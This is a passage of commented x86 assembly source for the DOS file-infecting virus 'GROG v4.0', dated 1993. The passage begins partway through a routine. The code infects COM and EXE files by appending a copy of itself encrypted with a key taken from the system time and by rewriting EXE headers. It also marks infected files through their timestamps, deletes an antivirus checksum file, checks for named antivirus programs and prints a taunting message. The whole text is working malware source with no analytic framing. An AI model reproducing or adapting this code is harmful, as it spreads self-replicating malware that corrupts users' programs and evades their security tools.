	     cmp     bl,00h		 ; File not infectable?
	     jne     test_rename	 ; Not equal? Jump to test_rename

	     jmp     video_effect
test_rename:
	     cmp     bp,5600h		 ; Rename file?
	     jne     open_file		 ; Not equal? Jump to open_file

	     push    ds 		 ; Save DS at stack

	     push    es 		 ; Save ES at stack
	     pop     ds 		 ; Load DS from stack (ES)

	     mov     si,di		 ; SI = offset of filename
	     call    examine_file
	     pop     ds 		 ; Load DS from stack
	     cmp     bl,00h		 ; File not infectable?
	     jne     open_file		 ; Not equal? Jump to open_file

	     jmp     video_effect
open_file:
	     push    ds dx		 ; Save registers at stack

	     mov     cs:[set_file_att],00h

	     call    xchg_int13

	     pop     dx ds		 ; Load registers from stack

	     call    open_file_

	     call    xchg_int13

	     jmp     video_effect

open_file_   proc    near		 ; Get file attributes, open file, ...
	     mov     ax,4300h		 ; Get file attributes
	     call    int21_simula
	     push    cx 		 ; Save CX at stack
	     jc      open_error 	 ; Error? Jump to open_error

	     mov     ax,3d00h		 ; Open file (read)
	     call    int21_simula
	     xchg    ax,bx		 ; BX = file handle
	     jc      open_error 	 ; Error? Jump to open_error

	     push    dx 		 ; Save DX at stack
	     mov     ax,5700h		 ; Get file's date and time
	     call    int21_simula
	     and     cl,00011111b	 ; CL = seconds of file time?
	     cmp     cl,00010001b	 ; Already infected? (34 seconds)?
	     pop     dx 		 ; Load DS from stack
	     je      already_inf	 ; Equal? Jump to already_inf

	     push    ds dx		 ; Save registers at stack
	     call    tst_filesize

	     mov     ah,3eh		 ; Close file
	     call    int21_simula
	     pop     dx ds		 ; Load registers from stack

	     pop     cx 		 ; Load CX from stack

	     cmp     cs:[set_file_att],00h
	     je      dont_set_att	 ; Don't set file attributes? Jump ...

	     mov     ax,4301h		 ; Set file attributes
	     call    int21_simula
dont_set_att:
	     ret			 ; Return!
open_error:
	     pop     cx 		 ; Load CX from stack

	     ret			 ; Return!
already_inf:
	     pop     cx 		 ; Load CX from stack

	     mov     ah,3eh		 ; Close file
	     call    int21_simula

	     ret			 ; Return!
	     endp

	     db      '>>4/93<<'

tst_filesize proc    near		 ; Test filesize
	     push    dx 		 ; Save DX at stack

	     push    cs 		 ; Save CS at stack
	     pop     es 		 ; Load ES from stack (CS)

	     mov     al,02h		 ; Set current file position (EOF)
	     xor     dx,dx		 ; Zero DX
	     call    set_file_pos

	     mov     cs:[origin_off],ax  ; Store offset of original code of...

	     cmp     ax,(code_end-code_begin+100h)
	     jb      filesiz_exit	 ; Below? Jump to filesiz_exit

	     cmp     cs:[com_or_exe],01h ; EXE executable?
	     je      dont_test		 ; Equal? Jump to dont_test

	     cmp     dx,00h		 ; Filesize too large?
	     jne     filesiz_exit	 ; Not equal? Jump to filesiz_exit

	     cmp     ax,0fefeh-(code_end-code_begin+18dh)*05h+06h
	     ja      filesiz_exit	 ; Above? Jump to filesiz_exit
dont_test:
	     pop     dx 		 ; Load DX from stack

	     call    infect_file

	     ret			 ; Return!
filesiz_exit:
	     pop     ax 		 ; Load AX from stack (DX)

	     ret			 ; Return!
	     endp

set_file_sof proc    near		 ; Set current file position (SOF)
	     xor     al,al		 ;  "     "     "      "       "

set_file_pos proc    near		 ; Set current file position
	     mov     ah,42h		 ;  "     "     "      "
	     xor     cx,cx		 ; Zero CX
	     call    int21_simula

	     ret			 ; Return!
	     endp
	     endp

	     db      'GROG v4.0 (C) ''93 by GROG - Italy'

infect_file  proc    near		 ; Infect COM/EXE file
	     mov     ah,3eh		 ; Close file
	     call    int21_simula

	     mov     ax,4301h		 ; Set file attributes
	     xor     cx,cx		 ; CX = new file attributes
	     call    int21_simula
	     jc      open_error_	 ; Error? Jump to open_error_

	     mov     cs:[set_file_att],01h

	     mov     ax,3d02h		 ; Open file (read/write)
	     call    int21_simula
	     xchg    ax,bx		 ; BX = file handle
	     jc      open_error_	 ; Error? Jump to open_error_

	     push    cs cs		 ; Save segments at stack
	     pop     ds es		 ; Load segments from stack (CS)

	     mov     ax,5700h		 ; Get file's date and time
	     call    int21_simula
	     and     cl,11100000b	 ; Clear seconds of file time
	     or      cl,00010001b	 ; Set infection mark (34 seconds)

	     push    cx dx		 ; Save registers at stack

	     jmp     read_file
open_error_:
	     ret			 ; Return!
read_file:
	     mov     ah,3fh		 ; Read from file
	     mov     cx,(code_end-code_begin)
	     lea     dx,file_buffer	 ; DX = offset of file_buffer
	     call    int21_simula

	     mov     [com_or_exe],00h	 ; COM executable

	     cmp     word ptr [file_buffer],'ZM'
	     je      infect_exe 	 ; Found EXE signature? Jump to inf...

	     jmp     infect_com
infect_exe:
	     mov     [com_or_exe],01h	 ; EXE executable

	     mov     word ptr [file_buffer+12h],'ZM'

	     lea     si,file_buffer	 ; SI = offset of file_buffer
	     mov     cx,18h		 ; Move eightteen bytes
	     lea     di,file_header	 ; SI = offset of file_header
move_header:
	     movsb			 ; Move file header

	     loop    move_header

	     xor     dx,dx		 ; Zero DX
	     mov     al,02h		 ; Set current file position (EOF)
	     call    set_file_pos

	     push    dx 		 ; Save DX at stack
	     mov     dx,word ptr [file_buffer+08h]

	     mov     cl,04h		 ; Multiply header size in paragrap...
	     rol     dx,cl		 ; DX = header size
	     sub     ax,dx		 ; Subtract header size from filesize
	     push    ax 		 ; Save AX at stack
	     xor     cx,cx		 ; Zero CX
	     and     ax,0000000000001111b
	     cmp     al,00h		 ; Calculate number of bytes in la...?
	     je      calc_pages_	 ; Equal? Jump to calc_pages_

	     neg     al 		 ; Negate AL
	     and     al,00001111b	 ; AL = number of bytes to write

	     mov     cx,ax		 ; CX = number of bytes to write
	     mov     ah,40h		 ; Write to file
	     call    int21_simula

	     pop     ax 		 ; Load AX from stack
	     add     ax,cx		 ; Add number of bytes actually wri...
	     cmp     ax,cx		 ; Calculate number of bytes in la...?
	     jae     calc_pages 	 ; Above or equal? Jump to calc_pages

	     pop     dx 		 ; Load DX from stack
	     inc     dx 		 ; Increase DX
	     push    dx 		 ; Save DX at stack
calc_pages:
	     push    ax 		 ; Save AX at stack
calc_pages_:
	     add     cx,((code_end-code_begin) mod 200h)+200h
	     add     word ptr [file_buffer+02h],cx
test_pages:
	     cmp     word ptr [file_buffer+02h],200h
	     jb      calc_cs_ip 	 ; Below? Jump to calc_cs_ip

	     inc     word ptr [file_buffer+04h]
	     sub     word ptr [file_buffer+02h],200h

	     jmp     test_pages
calc_cs_ip:
	     add     word ptr [file_buffer+04h],(code_end-code_begin-200h)/200h

	     mov     word ptr [file_buffer+14h],100h

	     pop     ax 		 ; Load AX from stack

	     mov     cl,04h		 ; Divide by paragraphs
	     shr     ax,cl		 ; AX = initial SS and CS relative ...
	     sub     ax,10h		 ; Subtract instruction pointer
	     mov     word ptr [file_buffer+16h],ax
	     mov     word ptr [file_buffer+0eh],ax

	     xor     dx,dx		 ; Zero DX

	     pop     cx 		 ; Load CX from stack (DX)
calc_vir_ptr:
	     add     dh,10h		 ; Calculate pointer to virus

	     loop    calc_vir_ptr

	     add     word ptr [file_buffer+16h],dx

	     add     dx,100h		 ; DX = initial SS relative to star...
	     add     word ptr [file_buffer+0eh],dx
	     mov     word ptr [file_buffer+10h],1036h

	     xor     dx,dx		 ; Zero DX
	     call    set_file_sof

	     mov     cx,18h		 ; Write eigthteen bytes
	     lea     dx,file_buffer	 ; DX = offset of file_buffer
	     mov     ah,40h		 ; Write to file
	     call    int21_simula

	     xor     dx,dx		 ; Zero DX
	     mov     al,02h		 ; Set current file position (EOF)
	     call    set_file_pos

	     jmp     get_rnd_num
infect_com:
	     mov     al,02h		 ; Set current file position (EOF)
	     xor     dx,dx		 ; Zero DX
	     call    set_file_pos

	     lea     dx,file_buffer	 ; DX = offset of file_buffer
	     mov     cx,(code_end-code_begin)
	     mov     ah,40h		 ; Write to file
	     call    int21_simula

	     xor     dx,dx		 ; Zero DX
	     call    set_file_sof
get_rnd_num:
	     mov     ah,2ch		 ; Get system time
	     call    int21_simula

	     add     dh,dl		 ; DH = encryption/decryption key
	     add     dh,ch		 ; DH = 	  "            "
	     add     dh,cl		 ; DH = 	  "            "

	     cmp     dh,00h		 ; Invalid encryption/decryption key?
	     je      get_rnd_num	 ; Equal? Jump to get_rnd_num

	     push    cs 		 ; Save CS at stack
	     pop     es 		 ; Load ES from stack (CS)

	     lea     di,file_buffer	 ; DI = offset of file_buffer

	     mov     [decrypt_key],dh	 ; Store decryption key

	     lea     si,code_begin	 ; SI = offset of code_begin
	     mov     cx,(mov_code_end-code_begin)/02h
move_code:
	     movsb			 ; Move hundred and fiftysix byte o...

	     loop    move_code

	     mov     cx,(crypt_end-crypt_begin)
encrypt_loop:
	     lodsb			 ; AL = byte of plain code
	     sub     al,dh		 ; Encrypt byte
	     stosb			 ; Store byte of encrypted code
	     loop    encrypt_loop

	     mov     cx,(code_end-code_begin)
	     lea     dx,file_buffer	 ; DX = offset of file_buffer
	     mov     ah,40h		 ; Write to file
	     call    int21_simula

	     pop     dx cx		 ; Load registers from stack
	     mov     ax,5701h		 ; Set file's date and time
	     call    int21_simula

	     ret			 ; Return!
	     endp

del_chklist  proc    near		 ; Delete CHKLIST.CPS
	     push    ax dx ds		 ; Save registers at stack

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     ah,41h		 ; Delete file
	     lea     dx,chklist_cps	 ; DX = offset of chklist_cps
	     call    int21_simula

	     pop     ds dx ax		 ; Load registers from stack

	     ret			 ; Return!
	     endp

int21_simula proc    near		 ; Simulate interrupt 21h
	     pushf			 ; Save flags at stack

	     call    cs:[int21_addr]

	     ret			 ; Return!
	     endp

origin_off   dw      terminate-100h	 ; Offset of original code of infec...
terminate:
	     int     20h		 ; Terminate program

stdout_str   db      ' Grog v4.0 is here!'
	     db      ' HaHaHa!'
stdout_end:
int21_addr   dd      ?			 ; Address of interrupt 21h
int13_addr   dd      ?			 ; Address of interrupt 13h
c__command_  db      'C:\COMMAND.'       ; C:\COMMAND.COM
com_executab db      'COM',00h           ; COM executable
exe_executab db      'EXE',00h           ; EXE executable
file_specifi db      '*.*',00h           ; File specification
com_or_exe   db     00h 		 ; COM or EXE executable
set_file_att db     00h 		 ; Set file attributes
table_begin  db      'MBIO'              ; IBMBIO.COM
	     db      'MDOS'              ; IBMDOS.COM
	     db      'SCAN  '            ; McAfee ViruScan
	     db      'CLEAN '            ;   "       "
	     db      'F-PROT'            ; F-PROT
	     db      'CPAV  '            ; Central Point Anti-Virus
table_end:
chklist_cps  db      'CHKLIST.CPS',00h   ; Central Point Anti-Virus CRC fil...
file_header  db      18h dup(?) 	 ; EXE header
file_buffer:
	     db      18h dup(?)
int01_addr   dd      ?			 ; Address of interrupt 01h
crypt_end:
code_end:
	     db      0d58dh dup(?)
dta:
	     db      15h dup(?) 	 ; Used by DOS for find next-process
file_attr    db      ?			 ; File attribute
file_time    dw      ?			 ; File time
file_date    dw      ?			 ; File date
filesize     dd      ?			 ; Filesize
filename     db      0dh dup(?) 	 ; Filename
data_end:

end	     code_begin
